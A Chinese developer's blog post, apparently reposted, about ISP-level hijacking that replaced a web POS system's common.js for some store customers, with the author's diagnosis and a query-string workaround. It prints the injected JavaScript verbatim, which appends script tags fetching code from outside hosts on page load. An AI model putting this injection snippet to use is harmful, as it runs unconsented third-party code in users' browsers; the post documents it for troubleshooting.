偷天換日:網絡劫持,網頁js被偽裝替換。


   偷天換日

  3月12號石家庄一個客戶(后面簡稱乙方)有幾家門店,平台收銀(web)有一些功能無法正常使用,平台有上千家門店在使用,到目前為止別的省份都沒有此問題。遠程協助發現,js日期控件無法正常調用,報js錯誤。日期插件用的是my97datepicker,用了這么久也沒見出過什么問題。
  瀏覽器查看頁面加載的js,發現頁面本身加載的js中有重復的(隨機重復),一個是common.js還有個common.js?145001231。代碼中只有common.js。點開common.js?145001231發現代碼沒問題。再查看common.js。代碼如下

try {
    if (!document.getElementById("mck0")) {
        var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
        s1 = "http://8.525cm.com/v2/v.php?id=01";
        var ar = new Array(2);
        ar[0] = s0;
        ar[1] = s1;
        var h = document.getElementsByTagName('head').item(0);
        for (var i = 0; i < 2; ++i) {
            var sc = document.createElement("script");
            sc.type = "text/javascript";
            sc.id = "mck" + i;
            sc.src = ar[i];
            h.appendChild(sc);
        }
    }
} catch(e) {}

  看到這就應該明白為什么會有common.js和common.js?145001231。

  問題找到了,怎么來的呢,先想到的是乙方操作系統有問題或內網arp欺騙。電話詢問客戶網絡環境,得知這幾個門店距離很遠,不是在一起;而且每個門店使用的寬帶都是單獨開通的。電腦系統都是統一安裝的。讓乙方到隔壁店鋪登錄下試試,乙方找了隔壁的電腦登錄后,遠程協助,發現也有這個問題。(難道是運營商那邊dns挾持的,感覺不太可能)

  這時候已經過去3,4個小時了,好幾個門店的收銀,和后台進銷存無法正常使用。客戶那邊的經理打電話來,說找了台筆記本,用他們自己的wifi就有這個問題,用移動的4g網絡就沒問題。那就是網絡有問題了,乙方也認同了。當時由於手上還有其他任務要忙,就暫時擱置了。

  3月30今天又得知江西南昌有個客服也遇到了同樣的問題,發現問題一模一樣。一家還能說是個例,第二家的出現需要將問題等級提高了,雖然不是平台的問題,但對於客戶來說沒法正常使用,必須要解決。

 

  應對方案

  1、分析代碼。反其道而行,想移除添加的js。

  后來發現思路有點偏,替換的代碼是直接添加一個script元素,平台中頁面加載js是用document.write(<script/>),替換的js影響了原有頁面的js加載順序導致功能無法正常使用。試着在頁面js文件引用改為xxx.js?123,試了下沒問題了,又嘗試改為xxx.js?,發現也可以,臨時這么解決,把出問題的幾個頁面js引用修改了下。(此問題改過觀察中)

  2、瀏覽器插件。(這個是下策)

 

  后續思考

  問題並沒有真正解決,但是可以通過一些方法解決替換js后所帶來的加載順序問題。

  可以嘗試用

  多js打包(還能減少服務器連接次數,提高性能,也要留意下IE和Firefox對同一域名進行請求的並發連接數限制),增加版本號。

  js模塊化加載(requireJS類組件)。

 

  先寫到這吧,此問題還在繼續觀察中...


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM